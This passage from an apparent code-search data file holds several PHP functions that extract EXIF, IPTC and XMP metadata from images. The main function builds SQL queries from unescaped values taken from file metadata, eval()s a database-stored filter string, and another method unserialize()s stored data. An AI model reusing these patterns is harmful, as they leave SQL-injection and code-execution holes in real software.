(!file_exists($image)) {return false;}\n\thook(\"pdfsearch\");\n\n\tglobal $exif_comment,$exiftool_no_process,$exiftool_resolution_calc, $disable_geocoding, $embedded_data_user_select_fields,$filename_field;\n\t$exiftool_fullpath = get_utility_path(\"exiftool\");\n\tif (($exiftool_fullpath!=false) && !in_array($extension,$exiftool_no_process))\n\t\t{\n\t\t$resource=get_resource_data($ref);\n\t\t\n\t\t# Field 8 is used in a special way for staticsync; don't overwrite.\n\t\tif ($resource['file_path']!=\"\"){$omit_title_for_staticsync=true;} else {$omit_title_for_staticsync=false;}\n\t\t\n\t\thook(\"beforeexiftoolextraction\");\n\t\t\n\t\tif ($exiftool_resolution_calc)\n\t\t\t{\n\t\t\t# see if we can use exiftool to get resolution/units, and dimensions here.\n\t\t\t# Dimensions are normally extracted once from the view page, but for the original file, it should be done here if possible,\n\t\t\t# and exiftool can provide more data. \n\t\t\n\t\t\t$command = $exiftool_fullpath . \" -s -s -s -t -composite:imagesize -xresolution -resolutionunit \" . escapeshellarg($image);\n\t\t\t$dimensions_resolution_unit=explode(\"\\t\",run_command($command));\n\t\t\t# if dimensions resolution and unit could be extracted, add them to the database.\n\t\t\t# they can be used in view.php to give more accurate data.\n\t\t\tif (count($dimensions_resolution_unit)==3)\n\t\t\t\t{\n\t\t\t\t$dru=$dimensions_resolution_unit;\n\t\t\t\t$filesize=filesize_unlimited($image); \n\t\t\t\t$wh=explode(\"x\",$dru[0]);\n\t\t\t\t$width=$wh[0];\n\t\t\t\t$height=$wh[1];\n\t\t\t\t$resolution=$dru[1];\n\t\t\t\t$unit=$dru[2];\n\t\t\t\tsql_query(\"insert into resource_dimensions (resource, width, height, resolution, unit, file_size) values ('$ref', '$width', '$height', '$resolution', '$unit', '$filesize')\"); \n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t$read_from=get_exiftool_fields($resource['resource_type']);\n\n\t\t# run exiftool to get all the valid fields. Use -s -s option so that\n\t\t# the command result isn't printed in columns, which will help in parsing\n\t\t# We then split the lines in the result into an array\n\t\t$command = $exiftool_fullpath . \" -ee -s -s -f -m -d \\\"%Y-%m-%d %H:%M:%S\\\" -G \" . escapeshellarg($image);\n\t\t$metalines = explode(\"\\n\", run_command($command));\n\n\t\t$metadata = array(); # an associative array to hold metadata field/value pairs\n\t\t\n\t\t# go through each line and split field/value using the first\n\t\t# occurrance of \": \". The keys in the associative array is converted\n\t\t# into uppercase for easier lookup later\n\t\tforeach($metalines as $metaline)\n\t\t\t{\n\t\t\t# Use stripos() if available, but support earlier PHP versions if not.\n\t\t\tif (function_exists(\"stripos\"))\n\t\t\t\t{\n\t\t\t\t$pos=stripos($metaline, \": \");\n\t\t\t\t}\n\t\t\telse\n\t\t\t\t{\n\t\t\t\t$pos=strpos($metaline, \": \");\n\t\t\t\t}\n\n\t\t\tif ($pos) #get position of first \": \", return false if not exist\n\t\t\t\t{\n\t\t\t\t# add to the associative array, also clean up leading/trailing space & single quote (on windows sometimes)\n\t\t\t\t\n\t\t\t\t# Extract group name and tag name.\n\t\t\t\t$s=explode(\"]\",substr($metaline, 0, $pos));\n\t\t\t\tif (count($s)>1 && strlen($s[0])>1)\n\t\t\t\t\t{\n\t\t\t\t\t# Extract value\n\t\t\t\t\t$value=trim(substr($metaline,$pos+2));\n\n\t\t\t\t\t# Replace '..' with line feed - either Exiftool itself or Adobe Bridge replaces line feeds with '..'\n\t\t\t\t\t$value = str_replace('....', '\\n\\n', $value); // Two new line feeds in ExifPro are replaced with 4 dots '....'\n\t\t\t\t\t$value=str_replace('...','.\\n',$value); # Three dots together is interpreted as a full stop then line feed, not the other way round\n\t\t\t\t\t$value=str_replace('..','\\n',$value);\n\t\t\t\t\t\n\t\t\t\t\t# Extract group name and tag name\n\t\t\t\t\t$groupname=strtoupper(substr($s[0],1));\n\t\t\t\t\t$tagname=strtoupper(trim($s[1]));\n\t\t\t\t\t\n\t\t\t\t\t# Store both tag data under both tagname and groupname:tagname, to support both formats when mapping fields. \n\t\t\t\t\t$metadata[$tagname] = $value;\n\t\t\t\t\t$metadata[$groupname . \":\" . $tagname] = $value;\n\t\t\t\t\tdebug(\"Exiftool: extracted field '$groupname:$tagname', value is '$value'\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t// We try to fetch the original filename from database.\n\t\t$resources = sql_query(\"SELECT resource.file_path FROM resource WHERE resource.ref = \" . $ref);\n\n\t\tif($resources)\n\t\t\t{\n\t\t\t$resource = $resources[0];\n\t\t\tif($resource['file_path'])\n\t\t\t\t{\n\t\t\t\t$metadata['FILENAME'] = mb_basename($resource['file_path']);\n\t\t\t\t}\n\t\t\t}\n\n\n\t\tif (isset($metadata['FILENAME'])) {$metadata['STRIPPEDFILENAME'] = strip_extension($metadata['FILENAME']);}\n\n\t\t# Geolocation Metadata Support\n\t\tif (!$disable_geocoding && isset($metadata['GPSLATITUDE']))\n\t\t\t{\n\t\t\t# Set vars\n $dec_long=0;$dec_lat=0;\n\n #Convert latititude to decimal.\n if (preg_match(\"/^(?<degrees>\\d+) deg (?<minutes>\\d+)' (?<seconds>\\d+\\.?\\d*)\\\"/\", $metadata['GPSLATITUDE'], $latitude)){\n $dec_lat = $latitude['degrees'] + $latitude['minutes']/60 + $latitude['seconds']/(60*60);\n }\n if (preg_match(\"/^(?<degrees>\\d+) deg (?<minutes>\\d+)' (?<seconds>\\d+\\.?\\d*)\\\"/\", $metadata['GPSLONGITUDE'], $longitude)){\n $dec_long = $longitude['degrees'] + $longitude['minutes']/60 + $longitude['seconds']/(60*60); \n }\n \n if (strpos($metadata['GPSLATITUDE'],'S')!==false)\n $dec_lat = -1 * $dec_lat;\n if (strpos($metadata['GPSLONGITUDE'],'W')!==false) \n $dec_long = -1 * $dec_long;\n\n if ($dec_long!=0 && $dec_lat!=0)\n \t{\n sql_query(\"update resource set geo_long='\" . escape_check($dec_long) . \"',geo_lat='\" . escape_check($dec_lat) . \"' where ref='$ref'\");\n \t}\n\t\t\t}\n \n # Update portrait_landscape_field (when reverting metadata this was getting lost)\n update_portrait_landscape_field($ref);\n \n\t\t# now we lookup fields from the database to see if a corresponding value\n\t\t# exists in the uploaded file\n\t\t$exif_updated_fields=array();\n\t\tfor($i=0;$i< count($read_from);$i++)\n\t\t\t{\n\t\t\t$field=explode(\",\",$read_from[$i]['exiftool_field']);\n\t\t\tforeach ($field as $subfield)\n\t\t\t\t{\n\t\t\t\t$subfield = strtoupper($subfield); // convert to upper case for easier comparision\n\t\t\t\tif (in_array($subfield, array_keys($metadata)) && $metadata[$subfield] != \"-\" && trim($metadata[$subfield])!=\"\")\n\t\t\t\t\t{\n\t\t\t\t\t$read=true;\n\t\t\t\t\t$value=$metadata[$subfield];\n\t\t\t\t\t\n\t\t\t\t\t# Dropdown box or checkbox list?\n\t\t\t\t\tif ($read_from[$i][\"type\"]==2 || $read_from[$i][\"type\"]==3)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t# Check that the value is one of the options and only insert if it is an exact match.\n\t\n\t\t\t\t\t\t# The use of safe_file_name and strtolower ensures matching takes place on alphanumeric characters only and ignores case.\n\t\t\t\t\t\t\n\t\t\t\t\t\t# First fetch all options in all languages\n\t\t\t\t\t\t$options=trim_array(explode(\",\",strtolower($read_from[$i][\"options\"])));\n\t\t\t\t\t\tfor ($n=0;$n<count($options);$n++)\t{$options[$n]=$options[$n];}\n\n\t\t\t\t\t\t# If not in the options list, do not read this value\n\t\t\t\t\t\t$s=trim_array(explode(\",\",$value));\n\t\t\t\t\t\t$value=\"\"; # blank value\n\t\t\t\t\t\tfor ($n=0;$n<count($s);$n++)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (trim($s[0])!=\"\" && (in_array(strtolower($s[$n]),$options))) {$value.=\",\" . $s[$n];} \t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t#echo($read_from[$i][\"ref\"] . \" = \" . $value . \"<br>\");\n\t\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t# Read the data.\t\t\t\t\n\t\t\t\t\tif ($read) {\n\t\t\t\t\t\t$plugin=dirname(__FILE__).\"/../plugins/exiftool_filter_\" . $read_from[$i]['name'] . \".php\";\n\t\t\t\t\t\tif ($read_from[$i]['exiftool_filter']!=\"\")\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\teval($read_from[$i]['exiftool_filter']);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\tif (file_exists($plugin)) {include $plugin;}\n\t\t\n\t\t\t\t\t\t# Field 8 is used in a special way for staticsync; don't overwrite field 8 in this case\n\t\t\t\t\t\tif (!($omit_title_for_staticsync && $read_from[$i]['ref']==8))\n\t\t\t\t\t\t\t{\t\t\t\t\n\t\t\t\t\t\t\t$exiffieldoption=$exifoption;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif($exifoption==\"custom\" || (isset($embedded_data_user_select_fields) && in_array($read_from[$i]['ref'],$embedded_data_user_select_fields)))\n\t\t\t\t\t\t\t\t{\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tdebug (\"EXIF - custom option for field \" . $read_from[$i]['ref'] . \" : \" . $exifoption);\n\t\t\t\t\t\t\t\t$exiffieldoption=getval(\"exif_option_\" . $read_from[$i]['ref'],$exifoption);\t\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tdebug (\"EXIF - option for field \" . $read_from[$i]['ref'] . \" : \" . $exiffieldoption);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif($exiffieldoption==\"no\")\n\t\t\t\t\t\t\t\t{continue;}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\telseif($exiffieldoption==\"append\")\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$spacechar=($read_from[$i][\"type\"]==2 || $read_from[$i][\"type\"]==3)?\", \":\" \";\n\t\t\t\t\t\t\t\t$oldval = get_data_by_field($ref,$read_from[$i]['ref']);\n\t\t\t\t\t\t\t\tif(strpos($oldval, $value)!==false){continue;}\n\t\t\t\t\t\t\t\t$newval = $oldval . $spacechar . iptc_return_utf8($value) ;\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telseif($exiffieldoption==\"prepend\")\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$spacechar=($read_from[$i][\"type\"]==2 || $read_from[$i][\"type\"]==3)?\", \":\" \";\n\t\t\t\t\t\t\t\t$oldval = get_data_by_field($ref,$read_from[$i]['ref']);\n\t\t\t\t\t\t\t\tif(strpos($oldval, $value)!==false){continue;}\n\t\t\t\t\t\t\t\t$newval = iptc_return_utf8($value) . $spacechar . $oldval;\n\t\t\t\t\t\t\t\t}\t\t\t\t\t\t\t\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$newval = iptc_return_utf8($value);\t\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tglobal $merge_filename_with_title, $lang;\n\t\t\t\t\t\t\tif($merge_filename_with_title) {\n\n\t\t\t\t\t\t\t\t$merge_filename_with_title_option = urlencode(getval('merge_filename_with_title_option', ''));\n\t\t\t\t\t\t\t\t$merge_filename_with_title_include_extensions = urlencode(getval('merge_filename_with_title_include_extensions', ''));\n\t\t\t\t\t\t\t\t$merge_filename_with_title_spacer = urlencode(getval('merge_filename_with_title_spacer', ''));\n\n\t\t\t\t\t\t\t\t$original_filename = '';\n\t\t\t\t\t\t\t\tif(isset($_REQUEST['name'])) {\n\t\t\t\t\t\t\t\t\t$original_filename = $_REQUEST['name'];\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t$original_filename = $processfile['name'];\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tif($merge_filename_with_title_include_extensions == 'yes') {\n\t\t\t\t\t\t\t\t\t$merged_filename = $original_filename;\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t$merged_filename = strip_extension($original_filename);\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t$oldval = get_data_by_field($ref, $read_from[$i]['ref']);\n\t\t\t\t\t\t\t\tif(strpos($oldval, $value) !== FALSE) {\n\t\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tswitch ($merge_filename_with_title_option) {\n\t\t\t\t\t\t\t\t\tcase $lang['merge_filename_title_do_not_use']:\n\t\t\t\t\t\t\t\t\t\t// Do nothing since the user doesn't want to use this feature\n\t\t\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\t\t\tcase $lang['merge_filename_title_replace']:\n\t\t\t\t\t\t\t\t\t\t$newval = $merged_filename;\n\t\t\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\t\t\tcase $lang['merge_filename_title_prefix']:\n\t\t\t\t\t\t\t\t\t\t$newval = $merged_filename . $merge_filename_with_title_spacer . $oldval;\n\t\t\t\t\t\t\t\t\t\tif($oldval == '') {\n\t\t\t\t\t\t\t\t\t\t\t$newval = $merged_filename;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\tcase $lang['merge_filename_title_suffix']:\n\t\t\t\t\t\t\t\t\t\t$newval = $oldval . $merge_filename_with_title_spacer . $merged_filename;\n\t\t\t\t\t\t\t\t\t\tif($oldval == '') {\n\t\t\t\t\t\t\t\t\t\t\t$newval = $merged_filename;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\t\t\t// Do nothing\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tupdate_field($ref,$read_from[$i]['ref'],$newval);\n\t\t\t\t\t\t\t$exif_updated_fields[]=$read_from[$i]['ref'];\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\thook(\"metadata_extract_addition\",\"all\",array($ref,$newval,$read_from,$i));\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} else {\n\n\t\t\t\t\t\t// Process if no embedded title is found:\n\t\t\t\t\t\tglobal $merge_filename_with_title, $lang;\n\t\t\t\t\t\tif($merge_filename_with_title && $read_from[$i]['ref'] == 8) {\n\n\t\t\t\t\t\t\t$merge_filename_with_title_option = urlencode(getval('merge_filename_with_title_option', ''));\n\t\t\t\t\t\t\t$merge_filename_with_title_include_extensions = urlencode(getval('merge_filename_with_title_include_extensions', ''));\n\t\t\t\t\t\t\t$merge_filename_with_title_spacer = urlencode(getval('merge_filename_with_title_spacer', ''));\n\n\t\t\t\t\t\t\t$original_filename = '';\n\t\t\t\t\t\t\tif(isset($_REQUEST['name'])) {\n\t\t\t\t\t\t\t\t$original_filename = $_REQUEST['name'];\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$original_filename = $processfile['name'];\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif($merge_filename_with_title_include_extensions == 'yes') {\n\t\t\t\t\t\t\t\t$merged_filename = $original_filename;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$merged_filename = strip_extension($original_filename);\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t$oldval = get_data_by_field($ref, $read_from[$i]['ref']);\n\t\t\t\t\t\t\tif(strpos($oldval, $value) !== FALSE) {\n\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tswitch ($merge_filename_with_title_option) {\n\t\t\t\t\t\t\t\tcase $lang['merge_filename_title_do_not_use']:\n\t\t\t\t\t\t\t\t\t// Do nothing since the user doesn't want to use this feature\n\t\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\t\tcase $lang['merge_filename_title_replace']:\n\t\t\t\t\t\t\t\t\t$newval = $merged_filename;\n\t\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\t\tcase $lang['merge_filename_title_prefix']:\n\t\t\t\t\t\t\t\t\t$newval = $merged_filename . $merge_filename_with_title_spacer . $oldval;\n\t\t\t\t\t\t\t\t\tif($oldval == '') {\n\t\t\t\t\t\t\t\t\t\t$newval = $merged_filename;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\tcase $lang['merge_filename_title_suffix']:\n\t\t\t\t\t\t\t\t\t$newval = $oldval . $merge_filename_with_title_spacer . $merged_filename;\n\t\t\t\t\t\t\t\t\tif($oldval == '') {\n\t\t\t\t\t\t\t\t\t\t$newval = $merged_filename;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\t\t// Do nothing\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tupdate_field($ref,$read_from[$i]['ref'],$newval);\n\t\t\t\t\t\t\t$exif_updated_fields[]=$read_from[$i]['ref'];\n\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t}\n\t\tif(!in_array($filename_field,$exif_updated_fields)) // We have not found an embedded value for this field so we need to modify the $filename variable which will be used to set the data later in the upload_file function\n\t\t\t{\n\t\t\t$exiffilenameoption=getval(\"exif_option_\" . $filename_field,$exifoption);\t\t\t\n\t\t\tdebug (\"EXIF - custom option for filename field \" . $filename_field . \" : \" . $exiffilenameoption);\n\t\t\tif ($exiffilenameoption!=\"yes\") // We are not using the extracted filename as usual\n\t\t\t\t{\n\t\t\t\t$uploadedfilename=isset($_REQUEST['name'])?$_REQUEST['name']:$processfile['name'];\n\t\t\t\t\n\t\t\t\tglobal $userref, $amended_filename;\n\t\t\t\t$entered_filename=get_data_by_field(-$userref,$filename_field);\n\t\t\t\tdebug(\"EXIF - got entered file name \" . $entered_filename);\n\t\t\t\tif($exiffilenameoption==\"no\") //Use the entered value\n\t\t\t\t{\n\t\t\t\t\t$amended_filename = $entered_filename;\n\n\t\t\t\t\tif(trim($amended_filename) == '') {\n\t\t\t\t\t\t$amended_filename = $uploadedfilename;\n\t\t\t\t\t}\n\n\t\t\t\t\tif(strpos($amended_filename, $extension) === FALSE) {\n\t\t\t\t\t\t$amended_filename .= '.' . $extension;\n\t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t\telseif($exiffilenameoption==\"append\")\n\t\t\t\t\t{\n\t\t\t\t\t$amended_filename = $entered_filename . $uploadedfilename;\n\t\t\t\t\t}\n\t\t\t\telseif($exiffilenameoption==\"prepend\")\n\t\t\t\t\t{\t\t\t\t\t\n\t\t\t\t\t$amended_filename = strip_extension($uploadedfilename) . $entered_filename . \".\" . $extension;\n\t\t\t\t\t}\n\t\t\t\tdebug(\"EXIF - created new file name \" . $amended_filename);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\telseif (isset($exif_comment))\n\t\t{\n\t\t#\n\t\t# Exiftool is not installed. As a fallback we grab some predefined basic fields using the PHP function\n\t\t# exif_read_data()\n\t\t#\t\t\n\t\t\n\t\tif (function_exists(\"exif_read_data\"))\n\t\t\t{\n\t\t\t$data=@exif_read_data($image);\n\t\t\t}\n\t\telse\n\t\t\t{\n\t\t\t$data = false;\n\t\t\t}\n\t\t\n\t\tif ($data!==false)\n\t\t\t{\n\t\t\t$comment=\"\";\n\t\t\t#echo \"<pre>EXIF\\n\";print_r($data);exit();\n\n\t\t\tif (isset($data[\"ImageDescription\"])) {$comment=$data[\"ImageDescription\"];}\n\t\t\tif (($comment==\"\") && (isset($data[\"COMPUTED\"][\"UserComment\"]))) {$comment=$data[\"COMPUTED\"][\"UserComment\"];}\n\t\t\tif ($comment!=\"\")\n\t\t\t\t{\n\t\t\t\t# Convert to UTF-8\n\t\t\t\t$comment=iptc_return_utf8($comment);\n\t\t\t\t\n\t\t\t\t# Save comment\n\t\t\t\tglobal $exif_comment;\n\t\t\t\tupdate_field($ref,$exif_comment,$comment);\n\t\t\t\t}\n\t\t\tif (isset($data[\"Model\"]))\n\t\t\t\t{\n\t\t\t\t# Save camera make/model\n\t\t\t\tglobal $exif_model;\n\t\t\t\tupdate_field($ref,$exif_model,$data[\"Model\"]);\n\t\t\t\t}\n\t\t\tif (isset($data[\"DateTimeOriginal\"]))\n\t\t\t\t{\n\t\t\t\t# Save camera date/time\n\t\t\t\tglobal $exif_date;\n\t\t\t\t$date=$data[\"DateTimeOriginal\"];\n\t\t\t\t# Reformat date to ISO standard\n\t\t\t\t$date=substr($date,0,4) . \"-\" . substr($date,5,2) . \"-\" . substr($date,8,11);\n\t\t\t\tupdate_field($ref,$exif_date,$date);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t# Try IPTC headers\n\t\t$size = getimagesize($image, $info);\n\t\tif (isset($info[\"APP13\"]))\n\t\t\t{\n\t\t\t$iptc = iptcparse($info[\"APP13\"]);\n\t\t\t#echo \"<pre>IPTC\\n\";print_r($iptc);exit();\n\n\t\t\t# Look for iptc fields, and insert.\n\t\t\t$fields=sql_query(\"select * from resource_type_field where length(iptc_equiv)>0\");\n\t\t\tfor ($n=0;$n<count($fields);$n++)\n\t\t\t\t{\n\t\t\t\t$iptc_equiv=$fields[$n][\"iptc_equiv\"];\n\t\t\t\tif (isset($iptc[$iptc_equiv][0]))\n\t\t\t\t\t{\n\t\t\t\t\t# Found the field\n\t\t\t\t\tif (count($iptc[$iptc_equiv])>1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t# Multiple values (keywords)\n\t\t\t\t\t\t$value=\"\";\n\t\t\t\t\t\tfor ($m=0;$m<count($iptc[$iptc_equiv]);$m++)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ($m>0) {$value.=\", \";}\n\t\t\t\t\t\t\t$value.=$iptc[$iptc_equiv][$m];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t$value=$iptc[$iptc_equiv][0];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t$value=iptc_return_utf8($value);\n\t\t\t\t\t\n\t\t\t\t\t# Date parsing\n\t\t\t\t\tif ($fields[$n][\"type\"]==4)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t$value=substr($value,0,4) . \"-\" . substr($value,4,2) . \"-\" . substr($value,6,2);\n\t\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif (trim($value)!=\"\") {update_field($ref,$fields[$n][\"ref\"],$value);}\n\t\t\t\t\t}\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\n\t# Update the XML metadata dump file.\n\tupdate_xml_metadump($ref);\n\t\n\t# Auto fill any blank fields.\n\tautocomplete_blank_fields($ref);\n\t\n\t}", "title": "" }, { "docid": "724f899217b704de8e0ecf9a9b8c762b", "score": "0.5343939", "text": "private function getExif() {\n\n\t\t\t$exif_data = exif_read_data($this->datadir.$this->gallery.\"/\".$this->photo);\n\n\t\t\t$this->exif['camera'] \t= ($exif_data['Model'] != \"\") \t\t\t\t\t\t? $exif_data['Model'] \t\t\t\t\t\t: \"n/a\";\n\t\t\t$this->exif['speed'] \t= ($exif_data['ExposureTime'] != \"\") \t\t\t\t? $exif_data['ExposureTime'] \t\t\t\t: \"n/a\";\n\t\t\t$this->exif['aperture'] = ($exif_data['COMPUTED']['ApertureFNumber'] != \"\") ? $exif_data['COMPUTED']['ApertureFNumber'] : \"n/a\";\n\t\t\t$this->exif['iso'] \t\t= ($exif_data['ISOSpeedRatings'] != \"\") \t\t\t? $exif_data['ISOSpeedRatings'] \t\t\t: \"n/a\";\n\t\t}", "title": "" }, { "docid": "8cbc1668350e44d662970954d6893a95", "score": "0.53338856", "text": "public function getImages() {\n if (!is_array($this->adData[\"images\"])) {\n return array();\n }\n $arImages = $this->adData[\"images\"];\n foreach ($arImages as $imageIndex => $arImage) {\n $arImages[$imageIndex] = array_merge($arImages[$imageIndex], array_flatten(unserialize($arImage[\"SER_META\"]), true, \"_\", \"META_\"));\n }\n return $arImages;\n }", "title": "" }, { "docid": "e51186a9ae5bffb9fe8d8268c9917053", "score": "0.5332657", "text": "public static function mla_parse_xmp_metadata( $file_name, $file_offset ) {\r\n//error_log( __LINE__ . \" MLAData::mla_parse_xmp_metadata( {$file_name}, {$file_offset} ) \", 0 );\r\n\t\t$chunksize = 16384;\t\t\t\r\n\t\t$xmp_chunk = file_get_contents( $file_name, true, NULL, $file_offset, $chunksize );\r\n//error_log( __LINE__ . \" MLAData::mla_parse_xmp_metadata( {$file_offset} ) chunk = \\r\\n\" . MLAData::mla_hex_dump( $xmp_chunk ), 0 );\r\n\r\n\t\t/*\r\n\t\t * If necessary and possible, advance the $xmp_chunk through the file until it contains the start tag\r\n\t\t */\r\n\t\tif ( false === ( $start_tag = strpos( $xmp_chunk, '<x:xmpmeta' ) ) && ( $chunksize == strlen( $xmp_chunk ) ) ) {\r\n\t\t\t$new_offset = $file_offset + ( $chunksize - 16 );\r\n//error_log( __LINE__ . \" MLAData::mla_parse_xmp_metadata( {$new_offset} ) \", 0 );\r\n\t\t\t$xmp_chunk = file_get_contents( $file_name, true, NULL, $new_offset, $chunksize );\r\n//error_log( __LINE__ . \" MLAData::mla_parse_xmp_metadata( {$new_offset} ) chunk = \\r\\n\" . MLAData::mla_hex_dump( $xmp_chunk ), 0 );\r\n\t\t\twhile ( false === ( $start_tag = strpos( $xmp_chunk, '<x:xmpmeta' ) ) && ( $chunksize == strlen( $xmp_chunk ) ) ) {\r\n\t\t\t\t$new_offset = $new_offset + ( $chunksize - 16 );\r\n//error_log( __LINE__ . \" MLAData::mla_parse_xmp_metadata( {$new_offset} ) \", 0 );\r\n\t\t\t\t$xmp_chunk = file_get_contents( $file_name, true, NULL, $new_offset, $chunksize );\r\n//error_log( __LINE__ . \" MLAData::mla_parse_xmp_metadata( {$new_offset} ) chunk = \\r\\n\" . MLAData::mla_hex_dump( $xmp_chunk ), 0 );\r\n\t\t\t} // while not found\r\n\t\t} else { // if not found\r\n\t\t\t$new_offset = $file_offset;\r\n\t\t}\r\n\r\n//error_log( __LINE__ . \" MLAData::mla_parse_xmp_metadata( {$start_tag} ) \", 0 );\r\n\t\tif ( false === $start_tag ) {\r\n\t\t\treturn NULL;\r\n\t\t}\r\n\r\n\t\t/*\r\n\t\t * If necessary and possible, expand the $xmp_chunk until it contains the start tag\r\n\t\t */\r\n\t\tif ( false === ( $end_tag = strpos( $xmp_chunk, '</x:xmpmeta>', $start_tag ) ) && ( $chunksize == strlen( $xmp_chunk ) ) ) {\r\n\t\t\t$new_offset = $new_offset + $start_tag;\r\n\t\t\t$start_tag = 0;\r\n\t\t\t$new_chunksize = $chunksize + $chunksize;\r\n\t\t\t$xmp_chunk = file_get_contents( $file_name, true, NULL, $new_offset, $new_chunksize );\r\n\t\t\twhile ( false === ( $end_tag = strpos( $xmp_chunk, '</x:xmpmeta>' ) ) && ( $new_chunksize == strlen( $xmp_chunk ) ) ) {\r\n\t\t\t\t$new_chunksize = $new_chunksize + $chunksize;\r\n\t\t\t\t$xmp_chunk = file_get_contents( $file_name, true, NULL, $new_offset, $new_chunksize );\r\n\t\t\t} // while not found\r\n\t\t} // if not found\r\n\r\n\t\tif ( false === $end_tag ) {\r\n\t\t\treturn NULL;\r\n\t\t}\r\n\r\n\t\t$xmp_string = \"<?xml version='1.0'?>\\n\" . substr($xmp_chunk, $start_tag, ( $end_tag + 12 ) - $start_tag );\r\n//error_log( __LINE__ . \" MLAData::mla_parse_xmp_metadata xmp_string = \" . var_export( $xmp_string, true ), 0 );\r\n//error_log( __LINE__ . \" MLAData::mla_parse_xmp_metadata xmp_string = \\r\\n\" . MLAData::mla_hex_dump( $xmp_string ), 0 );\r\n\t\t// experimental damage repair for GodsHillPC \r\n\t\t$xmp_string = str_replace( \"\\000\", '0', $xmp_string );\r\n\t\t$xmp_values = array();\r\n\t\t$xml_parser = xml_parser_create('UTF-8');\r\n\t\tif ( xml_parser_set_option( $xml_parser, XML_OPTION_SKIP_WHITE, 0 ) && xml_parser_set_option( $xml_parser, XML_OPTION_CASE_FOLDING, 0 ) ) {\r\n\t\t\tif ( 0 == xml_parse_into_struct( $xml_parser, $xmp_string, $xmp_values ) ) {\r\n\t\t\t\tMLACore::mla_debug_add( __LINE__ . __( 'ERROR', 'media-library-assistant' ) . ': ' . _x( 'mla_parse_xmp_metadata xml_parse_into_struct failed.', 'error_log', 'media-library-assistant' ), MLACore::MLA_DEBUG_CATEGORY_ANY );\r\n\t\t\t\t$xmp_values = array();\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\tMLACore::mla_debug_add( __LINE__ . __( 'ERROR', 'media-library-assistant' ) . ': ' . _x( 'mla_parse_xmp_metadata set option failed.', 'error_log', 'media-library-assistant' ), MLACore::MLA_DEBUG_CATEGORY_ANY );\r\n\t\t}\r\n\r\n\t\txml_parser_free($xml_parser);\r\n\r\n\t\tif ( empty( $xmp_values ) ) {\r\n\t\t\treturn NULL;\r\n\t\t}\r\n//error_log( __LINE__ . \" MLAData::mla_parse_xmp_metadata xmp_values = \" . var_export( $xmp_values, true ), 0 );\r\n\r\n\t\t$levels = array();\r\n\t\t$current_level = 